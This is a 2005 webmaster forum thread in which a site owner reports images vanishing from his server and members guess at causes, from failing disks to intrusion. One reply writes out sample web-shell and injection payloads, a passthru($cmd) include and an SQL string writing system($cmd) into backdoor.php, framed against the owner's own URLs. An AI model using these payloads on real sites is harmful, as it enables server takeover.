We got hacked.

**CaptainHowdy** · 08-02-2005, 12:37 AM

Fuckersssss!! i hope things get back to normal asap !!

**mrthumbs** · 08-02-2005, 12:37 AM

yeah thats a typical thing for hackers to do.. removing pictures.. very slowly.. day by day..

**mrthumbs** · 08-02-2005, 12:38 AM

oi bet they have an elite cr3w of hackers each responsible for the pic assigned to him/her. They work globally you know.

**mrthumbs** · 08-02-2005, 12:40 AM

they probably discussed and planned this attack months in advance on some underground IRC channel. Or maybe a convention.

You should write a book about the vicious attack.

**mrthumbs** · 08-02-2005, 12:42 AM

Maybe they also got acces to your GFY account.

WARNING TO ALL READERS

Dont give out passwords in this thread if Charly asks for it.. it could be the hacker
social engineering.

**Paul Markham** · 08-02-2005, 12:44 AM

Originally posted by mrthumbs

yeah thats a typical thing for hackers to do.. removing pictures.. very slowly.. day by day..

So what do you suggest has gone wrong, we've looked at it over and over and can't find anything wrong.

But yes I do see it as strange they would take out random images.

**mrthumbs** · 08-02-2005, 12:45 AM

Originally posted by charly

So what do you suggest has gone wrong, we've looked at it over and over and can't find anything wrong.

But yes I do see it as strange they would take out random images.

Just fucking with you.. probably some human error.. is it a dedicated machine?
How is it updated?

Anyway..

http://www.paulmarkham.com/all-adult-content.php

**Repetitive Monkey** · 08-02-2005, 12:45 AM

You need to stop using you know what as the password for everything, I've told you before on two seperate occasions.

**Paul Markham** · 08-02-2005, 01:06 AM

Originally posted by Repetitive Monkey

You need to stop using you know what as the password for everything, I've told you before on two seperate occasions.

The database does not have "You know what" as a password. Would not use the one on the boards for the database.

And all the updated and changed.

Yes the server is dedicated and all the image content is on one disc which is again protected, but with FTP access this might have given someone access.

The site is updated as we add new content which is a full time operation. Well nearly.

**fris** · 08-02-2005, 01:06 AM

first mistake is not to announce that you got hacked.

things you keep hush hush

**Paul Markham** · 08-02-2005, 01:22 AM

Originally posted by fris

first mistake is not to announce that you got hacked.

things you keep hush hush

OK the sites are down for routine maintainence.

**V_RocKs** · 08-02-2005, 01:45 AM

Put it back up and I'll tell ya how they did it...

Since you use PHP we will start with some basics...

Either 1, you use templates and they were able to use one of their own:

http://www.paulmarkham.com/all-adult....php?p=contact

Which in code is,

Code:

include($p);

Which means they:

http://www.paulmarkham.com/all-adult...php%3fcmd=Your Unix Command Here

In there file they included was:

Code:

if ($cmd != '') { passthru($cmd); }

Or you are not removing crap that can be sent to the DB so:

http://www.paulmarkham.com/all-adult....php?girl=sara

Becomes:

Code:

http://www.paulmarkham.com/all-adult-content.php?'<? system($cmd); ?>' INTO DUMPFILE '/path/to/website/backdoor.php'--

Of course that would be really simplistic since it would assume that your coder is a complete asshat.

Or it could just be that you have an unpatched version of awstats, phpbb or some other form of free software installed.

**darksoul** · 08-02-2005, 01:57 AM

are you sure your hdd is fine ?
a corrupted harddisk would cause this.

**Machete_** · 08-02-2005, 02:04 AM

look at the log files on the server, search for the filename missing, and se who last used or moved it

**More Booze** · 08-02-2005, 02:09 AM

Originally posted by mrthumbs

Just fucking with you.. probably some human error.. is it a dedicated machine?
How is it updated?

Anyway..

http://www.paulmarkham.com/all-adult-content.php

Whats up with all the sarcasm? It could be some script or something the "hacker" left on the server.. :P

**broke** · 08-02-2005, 02:12 AM

Originally posted by ebus_dk

look at the log files on the server, search for the filename missing, and se who last used or moved it

HAHAHA.

Do you honestly think Charly's going to grep logs? Or hire someone to do it?

**Machete_** · 08-02-2005, 02:15 AM

Originally posted by broke

HAHAHA.

Do you honestly think Charly's going to grep logs? Or hire someone to do it?

I faild to se the humor in that

**More Booze** · 08-02-2005, 02:22 AM

Originally posted by broke

HAHAHA.

Do you honestly think Charly's going to grep logs? Or hire someone to do it?

Ummmmm. His serveradmin might do it for him.

**beemk** · 08-02-2005, 02:24 AM

Originally posted by mrthumbs

yeah thats a typical thing for hackers to do.. removing pictures.. very slowly.. day by day..

**broke** · 08-02-2005, 02:26 AM

Originally posted by ebus_dk

I faild to se the humor in that

Is your E key stuck or just plain broken?

**fris** · 08-02-2005, 02:26 AM

insecure php code rocks.

**Paul Markham** · 08-02-2005, 02:30 AM

Originally posted by darksoul

are you sure your hdd is fine ?
a corrupted harddisk would cause this.

I'm assuming ISPRIME checked that when we asked them about the problem, but will get onto them and make sure, thanks for the suggestion.

V_RocKs thanks for the programming, all double Dutch to me but I have a guy here who knows about these things.

look at the log files on the server, search for the filename missing, and se who last used or moved it

We did that and it was no help.

**Trafficbrokercom** · 08-02-2005, 03:02 AM

first thing to do is to check /tmp for hidden shellkits ..

so you are uploading the content onto the compromised server again?

don't you want to find the security hole first , make a fresh installation and try everything to avoid this happening in the future?

make sure to set allow_url_fopen = Off in your php.ini

**DutchTeenCash** · 08-02-2005, 03:06 AM

So whats up with daily backups?

**riddler** · 08-02-2005, 03:11 AM

sounds more like a failing harddrive than a hacker, Hackers usally dont fuck with people they just go in for the kill and get it over with, Sounds like its hitting bad clusters or the file system is corrupted..

**Machete_** · 08-02-2005, 03:15 AM

Originally posted by riddler

sounds more like a failing harddrive than a hacker, Hackers usally dont fuck with people they just go in for the kill and get it over with, Sounds like its hitting bad clusters or the file system is corrupted..

yep. or a failing raidcontroller
Try to run a RAID consistency test

**Roald** · 08-02-2005, 03:21 AM

Doesn't sound like a hacker to me but more like a failure in your system.

Btw make sure to make backups daily from now on ;)))

**broke** · 08-02-2005, 03:26 AM

Originally posted by ebus_dk

yep. or a failing raidcontroller
Try to run a RAID consistency test

Don't know Paul/Charly's set up, but I doubt his webserver has an array. Those controllers can be problematic on Compaq/HP servers, though. God can they be problematic.

Who knows...

Sounds like a disk issue to me, though.

**Violetta** · 08-02-2005, 03:46 AM

Originally posted by darksoul

are you sure your hdd is fine ?
a corrupted harddisk would cause this.

It could. What OS do you run?

**mikeyddddd** · 08-02-2005, 03:49 AM

Have you let Lee help you with any problems recently?

**Rui** · 08-02-2005, 04:17 AM

bummer, hope you find how they got in, secure the site and if possible nail the bastards (asking too much)

**pussyluver** · 08-02-2005, 04:30 AM

nothing better for conversions, traffic, and bookmarks than to have a site down for a day or more

**Machete_** · 08-02-2005, 04:48 AM

Originally posted by broke

Don't know Paul/Charly's set up, but I doubt his webserver has an array. Those controllers can be problematic on Compaq/HP servers, though. God can they be problematic.

Who knows...

Sounds like a disk issue to me, though.

The old Compaq smartarrayII verion 2.. GOD dam they fucked the systems..
We had more than 30 proliant800 placed in danish banks

There were new softpaq's to them every month

**DutchTeenCash** · 08-02-2005, 04:52 AM

Originally posted by ebus_dk

The old Compaq smartarrayII verion 2.. GOD dam they fucked the systems..
We had more than 30 proliant800 placed in danish banks

There were new softpaq's to them every month

we had them too in the company where I used to work BIG issues, our own are dells now fine and with daily backups you cant go wrong

We got hacked.

We got hacked.

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment